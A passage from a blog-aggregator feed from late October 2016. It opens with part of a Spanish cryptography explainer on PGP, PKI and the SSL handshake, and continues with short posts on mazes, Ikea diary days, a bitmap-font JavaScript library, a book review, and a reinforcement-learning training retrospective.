&lt;li&gt;&lt;strong&gt;Funciones “hash” o resumen&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Firmado&lt;/strong&gt;: La firma digital consiste en pasar una función hash a la información a enviar, y el resultado cifrarlo con nuestra clave privada, para que así el receptor la descifre con nuestra clave pública, y, pasando de nuevo la función hash, y comparando resultados, compruebe que la información no ha sido modificada.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;RSA&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;DES y 3DES&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Algoritmos de clave simétrica&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Algoritmos de clave asimétrica&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Clave de sesión&lt;/strong&gt;: Es una clave generada automáticamente, que será usada en un proceso de cifrado simétrico, y que sólo tendrá validez durante esa conexión.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Distinguised Name o DN&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PKCS 10 o Certification Request&lt;/strong&gt;: Es la forma de pedir un certificado. Está formado por el DN, la clave pública, todo ello firmado con la clave privada correspondiente (no es un autofirmado).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Certificado x509&lt;/strong&gt;: Es una clave pública y el DN de esa clave, firmados por una autoridad certificadora, con un formato propio del x509.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PKCS 12&lt;/strong&gt;: Es un conjunto de certificados y sus claves privadas correspondientes, todo ello protegido con una clave.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="pgp"&gt;&lt;span class="mw-headline" id="PGP"&gt;PGP&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;PGP o “Pretty Good Privacy” (Privacidad bastante buena), es el sistema de cifrado de correo más popular y más extendido hoy por hoy. Este sistema cifra el correo que vayamos a enviar para que solo el destinatario sea capaz de leerlo, pudiendo ser también utilizado para certificar que el autor de dicho correo soy yo y no otro cualquiera.&lt;/p&gt;
&lt;p&gt;El PGP se basa en sistema de clave asimétrica o de clave pública, con lo que cualquiera que desee utilizarlo precisa tener las 2 claves. PGP basa su seguridad en la incapacidad actual de factorizar numeros enormemente grandes, ya que no se conoce ningún algoritmo que sea capaz de hacerlo, y la única forma de conseguirlo es por fuerza bruta, con la correspondiente tardanza que ello conlleva. En el momento de escribir este documento, se utilizan claves de 1024 y 2048 bits de longitud, siendo las primeras poco recomendadas, ya que con los sistemas actuales pueden ser destrozadas en cuestión de semanas. En cambio con las de 2048 bits, la cosa se alarga durante años, llegando incluso a ser cosa de siglos (si no recuerdo mal).&lt;/p&gt;
&lt;p&gt;El modo de funcionamiento del PGP es sencillo: una vez te hayas creado tu par de claves, y hayas firmado tu clave publica con la privada (esto suele ser automático), deberías proporcionar tu clave a alguien de forma segura, para que así te la pudiera firmar, con lo que obtendrías mayor fiabilidad ante el resto de personas. Normalmente cuando se crea o modifica una clave, se suele subir a un servidor de claves gpg, para que pueda estar disponible para la mayor cantidad de gente posible. Hecho esto ya estás en disposición de usar el sistema PGP correctamente, sabiendo que quien reciba el correo podrá certificar que es tuyo.&lt;/p&gt;
&lt;p&gt;Es muy importante y obligación tuya, no perder ni poner en peligro tu clave privada, ya que si así ocurriese, deberías anular dicha clave con unos certificados de revocación que deberas generar. El problema que tiene esto es que para crearlos es necesario la clave privada, con lo que si la has perdido no serás capaz de revocar dicha clave, y alguien se podría estar haciendo pasar por ti. Por ello es buena costumbre crear dichos certificados a la vez que el de claves, y guardar la clave privada y el certificado en un lugar seguro.&lt;/p&gt;
&lt;p&gt;Aunque este sistema es mejor que no usar nada, tampoco es infalible, ya que como hemos dicho antes, este sistema puede ser franqueado por fuerza bruta, aunque no es éste el único incoveniente que tiene (ya que se puede solucionar usando claves de mayor longitud). Uno de los mayores inconvenientes de este sistema es el propio funcionamiento del sistema, ya que al basarse en anillos de confianza, no hay forma segura de acreditar que una clave es de quien dice ser, mas que por la confianza que tengamos en el que haya firmado dicha clave. Es decir, yo no tengo ninguna otra forma de comprobar que una clave es de alguien mas que por un amigo común a ambos que me certifica que dicha clave es verdaderamente de quien dice ser. Si este esquema lo proyectamos a mayor tamaño, obtenemos un esquema de confianza mutua y cíclica, al que se le denomina “anillo de confianza”.&lt;/p&gt;
&lt;p&gt;Debido a este problema, es totalmente imprescindible que no se firmen claves de las que su procedencia no sea totalmente segura, ya que sino se estaría introduciendo una clave falsa en el anillo, y sería totalmente indetectable para los demás. Por eso se suele recomendar que las claves se intercambien mano a mano, y no por Internet.&lt;/p&gt;
&lt;p&gt;Otro gran problema, aunque este sea relativo a todos los sistemas de seguridad basados en claves, es que el tiempo que transcurre desde que tú revocas una clave hasta que el resto de Internet sabe de ello puede ser muy grande, o incluso podría pasar que nunca sabrían que esto ha ocurrido. Durante dicho tiempo, podría haber alguien haciendose pasar por otro, si la clave de éste hubiera sido comprometida. Este problema no tiene solución fácil, y es uno de los puntos negros de los sistemas de claves asimétricas.&lt;/p&gt;
&lt;p&gt;Como nota final, comentar que hay varios programas que nos permiten usar este sistema de cifrado, como por ejemplo PGP que usa claves del tipo RSA, o GnuPG, que es una versión libre de PGP, por lo que usa claves del tipo DSA y ElGamal, aunque desde la liberación del algoritmo del RSA también es capaz de usar claves de este otro tipo. En The International PGP Home Page encontrarás las útlimas noticias y acceso a diversos documentos en relación con el PGP.&lt;/p&gt;
&lt;h2 id="pki"&gt;&lt;span class="mw-headline" id="PKI"&gt;PKI&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;Este sistema de encriptación se asemeja mucho en el funcionamiento al PGP, ya que también un sistema de clave asimétrica, aunque no son compatibles entre ellos. PKI es un stándard (ISO), en el que se definen los certificados x509, y es una de las diferencias entre el PGP y el PKI. Estos certificados no son más que los datos personales del propietario (DN o “Distinguised Name”), junto con su clave pública, todo ello firmado por una Autoridad Certificadora.&lt;/p&gt;
&lt;p&gt;Con este sistema, la clave pública de la que vayamos a hacer uso, es, con total seguridad, la clave de la persona que pretendíamos, ya que los datos que la acompañan así lo demuestran, y además y muy importante, está certificado por la Autoridad Certificadora en cuestión.&lt;/p&gt;
&lt;p&gt;Debido a que tenemos gran seguridad de que la clave es auténtica, el PKI se suele usar en transacciones seguras a través de Internet (en conjunto con el SSL, que se encargará de cifrar los datos, ya que el PKI solo se usa a modo de identificación), o cualquier otro tipo de operación que requiera de una identificación segura.&lt;/p&gt;
&lt;p&gt;El modus operandi es el siguiente: debes crear un PKCS 10 o “Certificate Request” autofirmado, que contendrá todos tus datos personales, y enviárselo a la autoridad certificadora que creas conveniente. Esta autoridad comprobará de alguna forma que los datos que le has proporcionado son verdaderos, bien citándose contigo, bien reclamando algún documento oficial que te identifique. Una vez que la autoridad se haya cerciorado de que los datos son correctos, creará un certificado x509 a partir del Certificate Request que tú le enviaste y lo firmará. Para una mayor comodidad, podrás crear un objeto PKCS 12, que no es más que un conjunto de certificados y sus claves privadas correspondientes, todo ello protegido con una clave. Este tipo de ficheros es el que más se suele usar en el PKI, y es el sistema usado por Netscape y Explorer.&lt;/p&gt;
&lt;p&gt;Cada vez que una pagina web requiera identificacion a través de un certificado válido, el explorador te pedirá el password de la base de datos de certificados que posee, y irá comprobando uno a uno hasta que encuentre alguno que le permita acceder. Todos los certificados que importes a la base de datos del navegador, serán comprobados a través de la autoridad certificadora correspondiente, y serás avisado si algún certificado no es correcto, o la autoridad certificadora que lo ha firmado no es de tu confianza.&lt;/p&gt;
&lt;p&gt;Este sistema también se puede usar para el cifrado y firmado de correo, siendo su uso muy parecido al PGP, pero con la fiabilidad que le confiere las autoridades certificadoras.&lt;/p&gt;
&lt;p&gt;Si estás interesado en usar PKI, puedes usar OpenSSL, que es una implementación libre de PKI y SSL, teniendo siempre en cuenta las leyes vigentes sobre el uso de la criptografía de tu pais.&lt;/p&gt;
&lt;h2 id="ssl"&gt;&lt;span class="mw-headline" id="SSL"&gt;SSL&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;El “Secure Socket Layer” es un capa software, utilizado para cifrar las transmisiones entre ordenadores. Fue concebido por Netscape, aunque hoy en día es uno de los más ampliamente extendidos.&lt;/p&gt;
&lt;p&gt;El primer paso que se debe realizar para establecer una transmisión segura es el “Handshake”, después del cual el SSL fragmentará los paquetes a enviar, hará un resumen y los cifrará, para asi poder ser enviados. Dicho así parece muy sencillo, aunque es en el “Handshake” donde tenemos que centrar la atención. Durante este paso, las computadoras realizan varios pasos:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Client Hello: Identificación del cliente.&lt;/li&gt;
&lt;li&gt;Server Hello: Identificación del servidor.&lt;/li&gt;
&lt;li&gt;Server Key Exchange: El servidor manda su certificado al cliente, el cual comprobará la validez de éste.&lt;/li&gt;
&lt;li&gt;Certificate Request: El servidor pide identificación para que el proceso siga adelante.&lt;/li&gt;
&lt;li&gt;Certificate Verify: Se comprueba la validez del certificado del cliente.&lt;/li&gt;
&lt;li&gt;Client Key exchange: Se generan una claves de sesión que serán cifradas con la clave pública del receptor, y serán enviadas.&lt;/li&gt;
&lt;li&gt;Cambio a modo seguro: A partir de este momento se usará algún algoritmo de cifrado simétrico (DES, 3DES, etc) para cifrar los datos, para lo que se usará la clave de sesión recibida, asegurando así que el otro será capaz de descifrar los datos.&lt;/li&gt;
&lt;li&gt;Finalización: Intercambio de un resumen de las acciones llevadas a cabo, para una posible comprobación.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Según el tipo de cifrado simétrico que usemos, determinaremos una mayor o menor seguridad de conexión. Por ejemplo cuando hacemos una conexión segura a nuestro servidor de webmail, seguramente estaremos usando 3DES de 40 bits, en cambio si la conexión es a una entidad bancaria, sera muy probablemente 3DES de 128 bits, el cual hasta Septiembre de 2000, sólo podía ser usado con permiso de EEUU, ya que era un algoritmo patentado, no siendolo así el 3DES de 40 bits, que aunque ofrece algo de seguridad, esta es mínima.&lt;/p&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Sun, 30 Oct 2016 23:32:20 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/documents/seguridad-informatica/criptografia/</guid></item><item><title>Random mazes</title><link>http://www.nuke24.net/plog/21.html</link><description>Random graph-based mazes for you to wander in!</description><author>TOGoS's Project Log</author><pubDate>Sun, 30 Oct 2016 20:13:37 GMT</pubDate><guid isPermaLink="true">http://www.nuke24.net/plog/21.html</guid></item><item><title>Links - October 30, 2016</title><link>https://faingezicht.com/links/2016/10/30/links/</link><description>I meant to post these on Wendesday, which became Thursday, which became Friday... then Saturday. But here we are!</description><author>Avy Faingezicht</author><pubDate>Sun, 30 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://faingezicht.com/links/2016/10/30/links/</guid></item><item><title>2016.10.30</title><link>https://www.wints.org/daypages/2016.10.30/</link><description>&lt;p&gt;Woke up to go to Ikea&amp;hellip;again. The drawers we didn&amp;rsquo;t get yesterday were supposed to be in stock today. We went in through the checkout area and were able to secure 2 units of the drawers (Oppland, if that means anything). Wooohoo.&lt;/p&gt;
&lt;p&gt;Brought them back, M arrived and we left for D and D&amp;rsquo;s. D was not happy when we got there. She was expecting us earlier, she said, near tears.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Sun, 30 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.10.30/</guid></item><item><title>Lazy registration with Redux and Sagas</title><link>https://goshacmd.com/lazy-auth-redux-saga-flow/</link><author>Gosha Spark</author><pubDate>Sun, 30 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://goshacmd.com/lazy-auth-redux-saga-flow/</guid></item><item><title>Chicken bicicleta</title><link>https://rybakov.com/blog/guinea_babka/</link><description>&lt;figure class="full"&gt;



&lt;img alt="" class="lazyload" src="../images/hiq/guinea_babka.jpg" /&gt;




&lt;/figure&gt;
&lt;p&gt;In Guinea laufen Hühner überall rum, sie sind schmal und schmächtig, leicht und knochig wie Rennradfahrer.&lt;/p&gt;</description><author>Blogs on Michail Rybakov</author><pubDate>Sat, 29 Oct 2016 17:07:46 GMT</pubDate><guid isPermaLink="true">https://rybakov.com/blog/guinea_babka/</guid></item><item><title>2016.10.29</title><link>https://www.wints.org/daypages/2016.10.29/</link><description>&lt;p&gt;Saturday was a late start. Woke up with a headache, no good. It was a yuuuge dissapointment. Went to Ikea again, to start buying stuff, ended up buying a kitchen island and deciding on a set of drawers (x2). Seems like this stuff will again be donated once we move, which seems like a waste. Had dinner with B and U - curry and naan. B went off to sleep after that, U, R and I talked for a bit. B and U have it tough, but seem to be doing well and hanging on. Also lighted diyas after many years, which was actually a lot of fun surprisingly. Maybe I just like fire.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Sat, 29 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.10.29/</guid></item><item><title>Microsoft Surface Studio is Mindblowing</title><link>https://www.danstroot.com/posts/2016-10-29-microsoft-surface-studio-is-mindblowing</link><description>&lt;img alt="post image" src="https://danstroot.imgix.net/assets/blog/img/Surface_Studio2x.jpg" /&gt;&lt;br /&gt;&lt;br /&gt;Saw the new Microsoft Surface Studio this weekend at the Microsoft store at the South Coast Plaza. I thought the display is pretty mind blowing. I have gotten used to wide screen displays but somehow the resolution and format of the screen just feels right. The display floats in space and fills your field of vision.&lt;br /&gt;&lt;br /&gt;This post &lt;a href="https://www.danstroot.com/posts/2016-10-29-microsoft-surface-studio-is-mindblowing"&gt;Microsoft Surface Studio is Mindblowing&lt;/a&gt; first appeared on &lt;a href="https://www.danstroot.com"&gt;Dan Stroot's Blog&lt;/a&gt;</description><author>Dan Stroot</author><pubDate>Sat, 29 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.danstroot.com/posts/2016-10-29-microsoft-surface-studio-is-mindblowing</guid></item><item><title>png-font.js</title><link>https://ericonotes.blogspot.com/2016/10/png-fontjs.html</link><description>&lt;div class="separator" style="clear: both; text-align: center;"&gt;
&lt;a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOh9zPU9Vchn01eZPZYR1AwyuxLUgP-TftBzFPnuYrF4LncwQo1IVUb5v12rg-AWuoATmRk813feJ6GlZrSY_9OsCOVfywJ5bF_k-umxqy-1g8yi9Znvw5pSvDppUhUKUPdZ2viFfNZZmD/s1600/font_test.png" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiOh9zPU9Vchn01eZPZYR1AwyuxLUgP-TftBzFPnuYrF4LncwQo1IVUb5v12rg-AWuoATmRk813feJ6GlZrSY_9OsCOVfywJ5bF_k-umxqy-1g8yi9Znvw5pSvDppUhUKUPdZ2viFfNZZmD/s1600/font_test.png" /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style="text-align: center;"&gt;
&lt;i&gt;using a bitmap font to write text on canvas.&amp;nbsp;&lt;/i&gt;&lt;/div&gt;
&lt;br /&gt;
When I made the game engine, my first idea was to make everything in English. But then I noticed most people really like localized text, and supporting more languages is as important as supporting many platforms.&lt;br /&gt;
&lt;br /&gt;
When I started writing what you have to be different so I could support different languages, at the end point, I had a problem with my selected pixel font, which didn't supported many characters. And fonts with more characters just were too big in size.&lt;br /&gt;
&lt;br /&gt;
After asking on Twitter, people pointed me to the GNU UNIFONT, and since the Font is awesome and actively maintained, I decided to use it! Paul Hardy sent me a lot of material so I could learn the basics on fonts, which I knew nothing.&lt;br /&gt;
&lt;br /&gt;
Instead of using the true type font, which is around 12MB, I got it's source bitmap, converted it to png, and wrote a js script to allow me get the glyphs from the png and place on html canvas, with the minimal things for a sane use - like word wrapping. Total size is now 840kB, which loads faster!&lt;br /&gt;
&lt;br /&gt;
This lead me to build this tiny js script, the png-font, which you can get here:&amp;nbsp;&lt;a href="https://github.com/ericoporto/png-font"&gt;github.com/ericoporto/png-font&lt;/a&gt;&amp;nbsp;. &amp;nbsp;I sent an email to FSF regarding licensing, but I read the GNU embedding exception clause and interpreted that it's ok to use it in this lib with MIT license.&lt;br /&gt;
&lt;br /&gt;
There is also a demo here:&amp;nbsp;&lt;a href="https://ericoporto.github.io/png-font/"&gt;ericoporto.github.io/png-font&lt;/a&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;</description><author>Erico Notes</author><pubDate>Sat, 29 Oct 2016 02:25:39 GMT</pubDate><guid isPermaLink="true">https://ericonotes.blogspot.com/2016/10/png-fontjs.html</guid></item><item><title>The Sting</title><link>https://olshansky.info/movie/the_sting/</link><description>Olshansky's review of The Sting</description><author>🦉 olshansky 🦁</author><pubDate>Fri, 28 Oct 2016 16:01:51 GMT</pubDate><guid isPermaLink="true">https://olshansky.info/movie/the_sting/</guid></item><item><title>Un monstruo viene a verme</title><link>https://danielpecos.com/2016/10/28/un-monstruo-viene-a-verme/</link><description>&lt;p&gt;&lt;a href="https://www.amazon.es/monstruo-viene-verme-NUBE-TINTA/dp/8416588112%3FSubscriptionId%3DAKIAJHGGVVP5D22LY7JQ%26tag%3Dbiblo-es-21%26linkCode%3Dxm2%26camp%3D2025%26creative%3D165953%26creativeASIN%3D8416588112"&gt;&lt;img alt="Un monstruo viene a verme" class="alignleft size-full" height="518" src="https://danielpecos.com/assets/2017/10/Un-monstruo-viene-a-verme.jpg" width="350" /&gt;&lt;/a&gt;Es media noche, Conor apenas se despierta luego de tener la misma pesadilla que lo agobia todos los días. Pero, en esta instancia los hechos han sido diferentes, ya que esta vez un monstruo lo espera en el jardín de su hogar, pues el árbol antiguo y robusto que antes solía observar desde la ventana de la cocina, ahora dispone de brazos, piernas y un rostro completamente aterrador.&lt;/p&gt;
&lt;p&gt;Sin embargo, el monstruo no pretende asustarlo, tan solo está buscando una cosa: la verdad, algo que Conor no desea contar bajo ninguna circunstancia. Este personaje tiene trece años de edad, y está atravesando una pésima situación, dado a que su madre se encuentra enferma de cáncer, además sufre de acoso escolar y su padre no vive con él, pues vive en América tras conocer a otra mujer.&lt;/p&gt;
&lt;p&gt;Pero lo único que el adolescente quiere es que la visita del monstruo suponga el fin de las pesadillas que lo asedian durante todas las noches. Así se produce el desenlace de &lt;strong&gt;Un monstruo viene a verme&lt;/strong&gt;, un libro que hace referencia a las dificultades por la que atravesamos los seres humanos para aceptar una valiosa pérdida y lidiar con los lazos vulnerables que nos mantienen sujetos a la vida.&lt;/p&gt;
&lt;h3 id="la-aleación-perfecta-entra-la-realidad-y-la-ficción"&gt;La aleación perfecta entra la realidad y la ficción&lt;/h3&gt;
&lt;p&gt;Al comienzo de la historia, da la impresión de que nos estamos adentrando a un cuento de terror, pero al sumergirte más en la lectura de &lt;strong&gt;Un monstruo viene a verme&lt;/strong&gt;, notarás que realmente se trata de una trama muy profunda, que conjuga a la perfección lo irreal con la más severa realidad.&lt;/p&gt;
&lt;p&gt;Empleando un vocabulario fácil de comprender, que está al alcance de todo público, el escritor Patrick Ness nos invita tácitamente a reflexionar y a pensar acerca de la realidad antes de pasar cada página. El estilo en que se relata la historia es sumamente impecable y logra que la lectura sea diferible y fácil, por lo que no se torna pesada en ningún momento.&lt;/p&gt;
&lt;p&gt;En síntesis, Un monstruo viene a verme despertará en ti un cúmulo de emociones, ya que te hará reír, reflexionar y hasta llorar, pero lo más importante es que podrás disfrutar de los escenarios que se crean en esta historia fantástica.&lt;/p&gt;
&lt;h3 id="merecedor-de-números-premios"&gt;Merecedor de números premios&lt;/h3&gt;
&lt;p&gt;Este libro ha sido publicado en diecisiete países y ha sido galardonado con el Premio Nacional Galaxy, gracias a la votación de un grupo de libreros especialistas en el área, también ostenta el Premio The Red House, donde el laurel depende de la decisión de un grupo de niños.&lt;/p&gt;
&lt;p&gt;Además, &lt;strong&gt;Un monstruo viene a verme&lt;/strong&gt; es el primer libro en ganar al unísono, dos de los más famosos premios del Reino Unido, que son: la Medalla Kate Greenaway, en virtud de las asombrosas ilustraciones de Jim Kay, y la Medalla Carnegie al mérito literario del escritor, Patrick Ness, aunque la idea de la historia se le atribuye a Siobhán Dowd, la autora de varios libros juveniles, que no pudo culminar el material bibliográfico tras fallecer en 2007.&lt;/p&gt;
&lt;noscript&gt;
&lt;/noscript&gt;</description><author>GeekWare - Daniel Pecos Martínez</author><pubDate>Fri, 28 Oct 2016 07:43:14 GMT</pubDate><guid isPermaLink="true">https://danielpecos.com/2016/10/28/un-monstruo-viene-a-verme/</guid></item><item><title>2016.10.28</title><link>https://www.wints.org/daypages/2016.10.28/</link><description>&lt;p&gt;Friday was a relaxed but &amp;ldquo;feeling guilty&amp;rdquo; day. I lost a contract, didn&amp;rsquo;t feel so good. Ended up signing up for workify to build out a store. Decided to focus on Google Apps customization. R and I went to our old place to pick up stuff. Dropped off stuff at Goodwill and brought the rest back with a quick stop in Ikea.&lt;/p&gt;</description><author>A Holding Company</author><pubDate>Fri, 28 Oct 2016 03:00:00 GMT</pubDate><guid isPermaLink="true">https://www.wints.org/daypages/2016.10.28/</guid></item><item><title>Seeking convergence</title><link>https://yieldthought.com/post/152387538430</link><description>&lt;p&gt;Recently at work I trained a neural network on a supercomputer that took &lt;a href="https://www.allinea.com/blog/201610/deep-learning-episode-3-supercomputer-vs-pong"&gt;just 3.9 minutes to learn to beat Atari Pong&lt;/a&gt; from pixels.&lt;/p&gt;

&lt;p&gt;Several people have asked for a step-by-step tutorial on this and one of those is on the way. But before that I wanted to write something else: I wanted to write about everything that didn&amp;rsquo;t work out along the way.&lt;/p&gt;

&lt;p&gt;Most of the posts and papers I read about deep learning make their author look like an &lt;em&gt;inspired genius&lt;/em&gt;, knowing exactly how to interpret the results and move forward to their inevitable success. I can&amp;rsquo;t rule out that everyone else in this field actually is an inspired genius! But my experience was anything other than smooth sailing and I&amp;rsquo;d love to share what trying to achieve even result as modest as this one was actually like.&lt;/p&gt;

&lt;p&gt;The step-by-step tutorial will follow when I get back from holiday and can tidy up the source and stick it on Github for your pleasure.&lt;/p&gt;

&lt;h1&gt;Part One: Optimism and Repositories&lt;/h1&gt;

&lt;p&gt;It begins as all good things do: with a day full of optimism. The sun is bright, the sea breeze ruffles my hair playfully and the world is full of sweetness and so forth. I&amp;rsquo;ve just read &lt;a href="https://arxiv.org/pdf/1602.01783.pdf"&gt;DeepMind&amp;rsquo;s superb A3C paper&lt;/a&gt; and am full of optimism that I can take their work (which produces better reinforcement learning results by using multiple concurrent workers) and run it at supercomputer scales.&lt;/p&gt;

&lt;p&gt;A quick search shows a satisfying range of projects that have implemented this work in various deep learning frameworks - from Torch to TensorFlow to Keras.&lt;/p&gt;

&lt;p&gt;My plan: download one, run it using multiple threads on one machine, try it on some special machines with hundreds of cores, then parallelize it to use multiple machines. Simple!&lt;/p&gt;

&lt;h1&gt;Part Two: I Don&amp;rsquo;t Know Why It Doesn&amp;rsquo;t Work&lt;/h1&gt;

&lt;p&gt;A monk once told me that each of us is broken in their own special way - we are all beautiful yet flawed and finding others who accept us as we are is the greatest joy in this life. Well, GitHub projects are just like that.&lt;/p&gt;

&lt;p&gt;Every single one I tried was broken in its own special way.&lt;/p&gt;

&lt;p&gt;That&amp;rsquo;s not entirely fair. They were perhaps fine, but for my purposes unpredictably and frequently frustratingly unsuitable. Also sometimes just broken. Perhaps some examples will show you what I mean!&lt;/p&gt;

&lt;p&gt;My favourite implementation was undoubtedly &lt;a href="https://github.com/Kaixhin/Atari"&gt;Kaixhin&amp;rsquo;s&lt;/a&gt; based on Torch. This one actually reimplements specific papers with hyperparameters provided by the authors! That level of attention to detail is both impressive and &lt;em&gt;necessary&lt;/em&gt;, as we shall see later.&lt;/p&gt;

&lt;p&gt;Getting this and an optimized Torch up and running was blessedly straightforward. When it came to running it on more cores I went to one of our Xeon Phi KNL machines with over 200 cores. Surely this would be perfect, I thought!&lt;/p&gt;

&lt;p&gt;Single thread performance was abysmal, but after installing Intel&amp;rsquo;s optimized Torch and Numpy distributions I figured that was as good as I would get and started trying to scale up. This worked well up to a point. That point was when storing the arrays pushed Lua above 1GB memory.&lt;/p&gt;

&lt;p&gt;Apparently on 64-bit machines Lua has a 1 GB memory limit. I&amp;rsquo;m not sure why anyone things this is an acceptable state of affairs but the workarounds did not seem like a fruitful avenue to pursue versus trying another implementation.&lt;/p&gt;

&lt;p&gt;I found a TensorFlow implementation that already allowed you to run multiple distributed TensorFlow instances! Has someone solved this already, I thought? Oh, sweet summer&amp;rsquo;s child, how little I knew of the joys that awaited me.&lt;/p&gt;

&lt;p&gt;The existing multi-GPU implementation blocked an entire GPU for the master instance apparently unnecessarily (I was able to eliminate this by making CUDA devices invisible to the master). TensorFlow itself would try to use all the cores simultaneously, competing with any other instances on the same physical node. Limiting inter- and intra-op parallelism seemed to have no effect on this. Incidentally, profiling showed TensorFlow spending a huge amount of time copying, serializing and deserializing data for transfer. This didn&amp;rsquo;t seem like a great start either.&lt;/p&gt;

&lt;p&gt;I found another A3C implementation that ran in Keras/Theano which didn&amp;rsquo;t have these issues and left it running at the default settings for 24 hours.&lt;/p&gt;

&lt;p&gt;It didn&amp;rsquo;t learn a damn thing.&lt;/p&gt;

&lt;p&gt;This is the most perplexing part of training neural networks - there are so few tools to gain insight as to why a network fails to converge on even a poor solution. It could be any of:
* Hyperparameters need to be more carefully tuned (algorithms can be &lt;a href="https://w3.cs.jmu.edu/spragunr/papers/rldm2015.pdf"&gt;rather sensitive&lt;/a&gt; even within similar domains)
* Initialization is incorrect and weights are dropping to zero (vanishing gradient problem) or are becoming unstable (exploding gradient problem) - these at least you can check by producing images of the weights and staring hard at them, like astrologers seeking meaning in the stars.
* The input is not preprocessed, normalized or augmented enough. Or it&amp;rsquo;s &lt;em&gt;too much&lt;/em&gt; of one of those things.
* The problem you&amp;rsquo;re trying to solve simply isn&amp;rsquo;t amenable to training by gradient descent.&lt;/p&gt;

&lt;p&gt;Honestly at the moment training a neural network to do something even slightly novel feels like rather like feeding a stack of punch cards to a mechanical behemoth from the twentieth century and waiting several hours to see whether or not it goes &lt;em&gt;boink&lt;/em&gt;.&lt;/p&gt;

&lt;h1&gt;Part Three: Rules of Thumb&lt;/h1&gt;

&lt;p&gt;At times I felt like a very poor reinforcement learning algorithm randomly casting about in the hope of getting some kind of reward at all and paying no attention to the gradient. After realizing the irony of this position I became a little more systematic. If you face the same situation, these rules of thumb might help you too:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;Set some expectations for what success or failure will look like that you can test rapidly. If the papers show some learning after 100k steps then run to 100k steps and check your network has made progress. The shorter this cycle the better, for obvious reasons. Remember: staring at a stream of fluctuating error rates and willing them to decrease is the first step towards madness&amp;hellip;&lt;/li&gt;
&lt;li&gt;Every failure is an opportunity to learn. Ask why these hyperparameters or this network architecture or dataset did not show convergence. How could you disprove that theory? This can be slow, painstaking work sometimes, but I learned a lot. It really, really helps to do this on a network that you already know can work at least once. Play with all the settings and find the points at which it does not and see what those failure modes look like.&lt;/li&gt;
&lt;li&gt;Start with a very simple, direct model and get it to show some level of learning, however slight. Then build up gradually from there. This is the single piece of most important advice I ever received.&lt;/li&gt;
&lt;li&gt;Be prepared to revisit papers and lecture notes as frequently as you need to to make sure you have a decent mathematical intuition of what is happening in your network and why it might (or might not) converge. It&amp;rsquo;s not black magic and understanding the principles can make a big difference to your approach.&lt;/li&gt;
&lt;/ol&gt;

&lt;h1&gt;Part Four: Back to Basics&lt;/h1&gt;

&lt;p&gt;Following this advice led me to &lt;a href="http://karpathy.github.io/2016/05/31/rl/"&gt;Karpathy&amp;rsquo;s wonderful 130-line python+numpy policy gradient example&lt;/a&gt;. This was the first time I ran a piece of code that actually showed learning right off the bat across a range of systems. You can follow what happened next in my &lt;a href="https://www.allinea.com/blog/201610/deep-learning-episode-3-supercomputer-vs-pong"&gt;more detailed blog posts&lt;/a&gt; about if you haven&amp;rsquo;t already.&lt;/p&gt;

&lt;p&gt;The TL;DR is that I added MPI parallelization and scaled it up on a local machine, then in the cloud, then on a supercomputer. At times it looked like it wouldn&amp;rsquo;t scale well but this was often because of incidental details I was able to overcome rather than hitting fundamental scaling limits.&lt;/p&gt;

&lt;h1&gt;Part Five: I Don&amp;rsquo;t Know Why It Does Work&lt;/h1&gt;

&lt;p&gt;In the blog I refer briefly to parallel policy gradients working so well because it reduces the variance of the score function estimate. This is worked into the text in an offhand, casual manner designed to make me look like an inspired genius.&lt;/p&gt;

&lt;p&gt;What actually happened when the first parallel implementations started converging within hours instead of days is that I was somewhat shocked. My previous experience with using data-level parallelism (in which you split the learning batch across multiple machines and train them all concurrently) had taught me that you quickly reach the point of diminishing returns by adding more parallel learners.&lt;/p&gt;

&lt;p&gt;The problem I&amp;rsquo;d seen in supervised learning was that by doing so you&amp;rsquo;re increasing the batch size, and extremely large batches don&amp;rsquo;t converge as quickly as small ones. The &lt;a href="http://bioserver.cpgei.ct.utfpr.edu.br/disciplinas/eeica/papers/Softwares/FireCaffe%20-%20near-linear%20acceleration%20of%20deep%20neural%20network%20training%20on%20Compute%20Clusters.pdf"&gt;literature suggests you can compensate&lt;/a&gt; by increasing the learning rate to a certain extent, but I didn&amp;rsquo;t know of anyone using batch sizes larger than a couple of thousand items.&lt;/p&gt;

&lt;p&gt;In this case the effective batch size was &lt;em&gt;already&lt;/em&gt; thousands of frame/action pairs on a single process. I didn&amp;rsquo;t expect to get a lot of mileage out of increasing that by several orders of magnitude and when I did I rather wondered why.&lt;/p&gt;

